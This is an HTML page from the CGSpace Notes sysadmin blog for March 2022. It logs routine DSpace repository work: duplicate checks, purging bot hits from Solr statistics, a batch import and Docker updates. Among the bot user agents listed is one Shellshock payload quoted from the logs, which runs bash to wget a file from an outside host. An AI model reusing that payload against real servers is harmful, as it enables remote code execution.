mirror of
https://github.com/alanorth/cgspace-notes.git
synced 2024-12-19 19:52:18 +01:00
297 lines
13 KiB
HTML
297 lines
13 KiB
HTML
<!DOCTYPE html>
|
||
<html lang="en" >
|
||
|
||
<head>
|
||
<meta charset="utf-8">
|
||
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||
|
||
|
||
<meta property="og:title" content="March, 2022" />
|
||
<meta property="og:description" content="2022-03-01
|
||
|
||
Send Gaia the last batch of potential duplicates for items 701 to 980:
|
||
|
||
$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
|
||
$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-03-01-tac-batch4-701-980.csv
|
||
$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
|
||
$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
|
||
" />
|
||
<meta property="og:type" content="article" />
|
||
<meta property="og:url" content="https://alanorth.github.io/cgspace-notes/2022-03/" />
|
||
<meta property="article:published_time" content="2022-03-01T16:46:54+03:00" />
|
||
<meta property="article:modified_time" content="2022-03-10T14:35:14+03:00" />
|
||
|
||
|
||
|
||
<meta name="twitter:card" content="summary"/>
|
||
<meta name="twitter:title" content="March, 2022"/>
|
||
<meta name="twitter:description" content="2022-03-01
|
||
|
||
Send Gaia the last batch of potential duplicates for items 701 to 980:
|
||
|
||
$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
|
||
$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-03-01-tac-batch4-701-980.csv
|
||
$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
|
||
$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
|
||
"/>
|
||
<meta name="generator" content="Hugo 0.93.2" />
|
||
|
||
|
||
|
||
<script type="application/ld+json">
|
||
{
|
||
"@context": "http://schema.org",
|
||
"@type": "BlogPosting",
|
||
"headline": "March, 2022",
|
||
"url": "https://alanorth.github.io/cgspace-notes/2022-03/",
|
||
"wordCount": "488",
|
||
"datePublished": "2022-03-01T16:46:54+03:00",
|
||
"dateModified": "2022-03-10T14:35:14+03:00",
|
||
"author": {
|
||
"@type": "Person",
|
||
"name": "Alan Orth"
|
||
},
|
||
"keywords": "Notes"
|
||
}
|
||
</script>
|
||
|
||
|
||
|
||
<link rel="canonical" href="https://alanorth.github.io/cgspace-notes/2022-03/">
|
||
|
||
<title>March, 2022 | CGSpace Notes</title>
|
||
|
||
|
||
<!-- combined, minified CSS -->
|
||
|
||
<link href="https://alanorth.github.io/cgspace-notes/css/style.beb8012edc08ba10be012f079d618dc243812267efe62e11f22fe49618f976a4.css" rel="stylesheet" integrity="sha256-vrgBLtwIuhC+AS8HnWGNwkOBImfv5i4R8i/klhj5dqQ=" crossorigin="anonymous">
|
||
|
||
|
||
<!-- minified Font Awesome for SVG icons -->
|
||
|
||
<script defer src="https://alanorth.github.io/cgspace-notes/js/fontawesome.min.f5072c55a0721857184db93a50561d7dc13975b4de2e19db7f81eb5f3fa57270.js" integrity="sha256-9QcsVaByGFcYTbk6UFYdfcE5dbTeLhnbf4HrXz+lcnA=" crossorigin="anonymous"></script>
|
||
|
||
<!-- RSS 2.0 feed -->
|
||
|
||
|
||
|
||
|
||
</head>
|
||
|
||
<body>
|
||
|
||
|
||
<div class="blog-masthead">
|
||
<div class="container">
|
||
<nav class="nav blog-nav">
|
||
<a class="nav-link " href="https://alanorth.github.io/cgspace-notes/">Home</a>
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
|
||
|
||
<header class="blog-header">
|
||
<div class="container">
|
||
<h1 class="blog-title" dir="auto"><a href="https://alanorth.github.io/cgspace-notes/" rel="home">CGSpace Notes</a></h1>
|
||
<p class="lead blog-description" dir="auto">Documenting day-to-day work on the <a href="https://cgspace.cgiar.org">CGSpace</a> repository.</p>
|
||
</div>
|
||
</header>
|
||
|
||
|
||
|
||
|
||
<div class="container">
|
||
<div class="row">
|
||
<div class="col-sm-8 blog-main">
|
||
|
||
|
||
|
||
|
||
<article class="blog-post">
|
||
<header>
|
||
<h2 class="blog-post-title" dir="auto"><a href="https://alanorth.github.io/cgspace-notes/2022-03/">March, 2022</a></h2>
|
||
<p class="blog-post-meta">
|
||
<time datetime="2022-03-01T16:46:54+03:00">Tue Mar 01, 2022</time>
|
||
in
|
||
<span class="fas fa-folder" aria-hidden="true"></span> <a href="/cgspace-notes/categories/notes/" rel="category tag">Notes</a>
|
||
|
||
|
||
</p>
|
||
</header>
|
||
<h2 id="2022-03-01">2022-03-01</h2>
|
||
<ul>
|
||
<li>Send Gaia the last batch of potential duplicates for items 701 to 980:</li>
|
||
</ul>
|
||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
|
||
</span></span><span style="display:flex;"><span>$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p <span style="color:#e6db74">'fuuu'</span> -o /tmp/2022-03-01-tac-batch4-701-980.csv
|
||
</span></span><span style="display:flex;"><span>$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
|
||
</span></span><span style="display:flex;"><span>$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
|
||
</span></span></code></pre></div><h2 id="2022-03-04">2022-03-04</h2>
|
||
<ul>
|
||
<li>Looking over the CGSpace Solr statistics from 2022-02
|
||
<ul>
|
||
<li>I see a few new bots, though once I expanded my search for user agents with “www” in the name I found so many more!</li>
|
||
<li>Here are some of the more prevalent or weird ones:
|
||
<ul>
|
||
<li>axios/0.21.1</li>
|
||
<li>Mozilla/5.0 (compatible; Faveeo/1.0; +http://www.faveeo.com)</li>
|
||
<li>Nutraspace/Nutch-1.2 (<a href="http://www.nutraspace.com">www.nutraspace.com</a>)</li>
|
||
<li>Mozilla/5.0 Moreover/5.1 (+http://www.moreover.com; <a href="mailto:webmaster@moreover.com">webmaster@moreover.com</a>)</li>
|
||
<li>Mozilla/5.0 (compatible; Exploratodo/1.0; +http://www.exploratodo.com</li>
|
||
<li>Mozilla/5.0 (compatible; GroupHigh/1.0; +http://www.grouphigh.com/)</li>
|
||
<li>Crowsnest/0.5 (+http://www.crowsnest.tv/)</li>
|
||
<li>Mozilla/5.0/Firefox/42.0 - nbertaupete95(at)gmail.com</li>
|
||
<li>metha/0.2.27</li>
|
||
<li>ZaloPC-win32-24v454</li>
|
||
<li>Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko/20041107 Firefox/x.x</li>
|
||
<li>ZoteroTranslationServer/WMF (mailto:noc@wikimedia.org)</li>
|
||
<li>FullStoryBot/1.0 (+https://www.fullstory.com)</li>
|
||
<li>Link Validity Check From: <a href="http://www.usgs.gov">http://www.usgs.gov</a></li>
|
||
<li>OSPScraper (+https://www.opensyllabusproject.org)</li>
|
||
<li>() { :;}; /bin/bash -c "wget -O /tmp/bbb <a href="http://www.redel.net.br/1.php?id=3137382e37392e3138372e313832">www.redel.net.br/1.php?id=3137382e37392e3138372e313832</a>"</li>
|
||
</ul>
|
||
</li>
|
||
<li>I submitted <a href="https://github.com/atmire/COUNTER-Robots/pull/52">a pull request to COUNTER-Robots</a> with some of these</li>
|
||
</ul>
|
||
</li>
|
||
<li>I purged a bunch of hits from the stats using the <code>check-spider-hits.sh</code> script:</li>
|
||
</ul>
|
||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>]$ ./ilri/check-spider-hits.sh -f dspace/config/spiders/agents/ilri -p
|
||
</span></span><span style="display:flex;"><span>Purging 6 hits from scalaj-http in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 5 hits from lua-resty-http in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 9 hits from AHC in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 7 hits from acebookexternalhit in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 1011 hits from axios\/[0-9] in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 2216 hits from Faveeo\/[0-9] in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 1164 hits from Moreover\/[0-9] in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 740 hits from Exploratodo\/[0-9] in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 585 hits from GroupHigh\/[0-9] in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 438 hits from Crowsnest\/[0-9] in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 1326 hits from nbertaupete95 in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 182 hits from metha\/[0-9] in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 68 hits from ZaloPC-win32-24v454 in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 1644 hits from Firefox\/x\.x in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 678 hits from ZoteroTranslationServer in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 27 hits from FullStoryBot in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 26 hits from Link Validity Check in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 26 hits from OSPScraper in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 1 hits from 3137382e37392e3138372e313832 in statistics
|
||
</span></span><span style="display:flex;"><span>Purging 2755 hits from Nutch-[0-9] in statistics
|
||
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
|
||
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Total number of bot hits purged: 12914
|
||
</span></span></code></pre></div><ul>
|
||
<li>I added a few from that list to the local overrides in our DSpace while I wait for feedback from the COUNTER-Robots project</li>
|
||
</ul>
|
||
<h2 id="2022-03-05">2022-03-05</h2>
|
||
<ul>
|
||
<li>Start AReS harvest</li>
|
||
</ul>
|
||
<h2 id="2022-03-10">2022-03-10</h2>
|
||
<ul>
|
||
<li>A few days ago Gaia sent me her notes on the fourth batch of TAC/ICW documents (items 701–980 in the spreadsheet)
|
||
<ul>
|
||
<li>I created a filter in LibreOffice and selected the IDs for items with the action “delete”, then I created a custom text facet in OpenRefine with this GREL:</li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
<pre tabindex="0"><code>or(
|
||
isNotNull(value.match('707')),
|
||
isNotNull(value.match('709')),
|
||
isNotNull(value.match('710')),
|
||
isNotNull(value.match('711')),
|
||
isNotNull(value.match('713')),
|
||
isNotNull(value.match('717')),
|
||
isNotNull(value.match('718')),
|
||
...
|
||
isNotNull(value.match('821'))
|
||
)
|
||
</code></pre><ul>
|
||
<li>Then I flagged all matching records, exported a CSV to use with SAFBuilder, and imported them on DSpace Test:</li>
|
||
</ul>
|
||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ JAVA_OPTS<span style="color:#f92672">=</span><span style="color:#e6db74">"-Xmx1024m -Dfile.encoding=UTF-8"</span> dspace import --add --eperson<span style="color:#f92672">=</span>fuu@ummm.com --source /tmp/SimpleArchiveFormat --mapfile<span style="color:#f92672">=</span>./2022-03-10-tac-batch4-701to980.map
|
||
</span></span></code></pre></div><h2 id="2022-03-12">2022-03-12</h2>
|
||
<ul>
|
||
<li>Update all containers and rebuild OpenRXV on linode20:</li>
|
||
</ul>
|
||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ docker images | grep -v ^REPO | sed <span style="color:#e6db74">'s/ \+/:/g'</span> | cut -d: -f1,2 | xargs -L1 docker pull
|
||
</span></span><span style="display:flex;"><span>$ docker-compose build
|
||
</span></span></code></pre></div><ul>
|
||
<li>Then run all system updates and reboot</li>
|
||
<li>Start a full harvest on AReS</li>
|
||
</ul>
|
||
<!-- raw HTML omitted -->
|
||
|
||
|
||
|
||
|
||
|
||
</article>
|
||
|
||
|
||
|
||
</div> <!-- /.blog-main -->
|
||
|
||
<aside class="col-sm-3 ml-auto blog-sidebar">
|
||
|
||
|
||
|
||
<section class="sidebar-module">
|
||
<h4>Recent Posts</h4>
|
||
<ol class="list-unstyled">
|
||
|
||
|
||
<li><a href="/cgspace-notes/2022-03/">March, 2022</a></li>
|
||
|
||
<li><a href="/cgspace-notes/2022-02/">February, 2022</a></li>
|
||
|
||
<li><a href="/cgspace-notes/2022-01/">January, 2022</a></li>
|
||
|
||
<li><a href="/cgspace-notes/2021-12/">December, 2021</a></li>
|
||
|
||
<li><a href="/cgspace-notes/2021-11/">November, 2021</a></li>
|
||
|
||
</ol>
|
||
</section>
|
||
|
||
|
||
|
||
|
||
<section class="sidebar-module">
|
||
<h4>Links</h4>
|
||
<ol class="list-unstyled">
|
||
|
||
<li><a href="https://cgspace.cgiar.org">CGSpace</a></li>
|
||
|
||
<li><a href="https://dspacetest.cgiar.org">DSpace Test</a></li>
|
||
|
||
<li><a href="https://github.com/ilri/DSpace">CGSpace @ GitHub</a></li>
|
||
|
||
</ol>
|
||
</section>
|
||
|
||
</aside>
|
||
|
||
|
||
</div> <!-- /.row -->
|
||
</div> <!-- /.container -->
|
||
|
||
|
||
|
||
<footer class="blog-footer">
|
||
<p dir="auto">
|
||
|
||
Blog template created by <a href="https://twitter.com/mdo">@mdo</a>, ported to Hugo by <a href='https://twitter.com/mralanorth'>@mralanorth</a>.
|
||
|
||
</p>
|
||
<p>
|
||
<a href="#">Back to top</a>
|
||
</p>
|
||
</footer>
|
||
|
||
|
||
</body>
|
||
|
||
</html>
|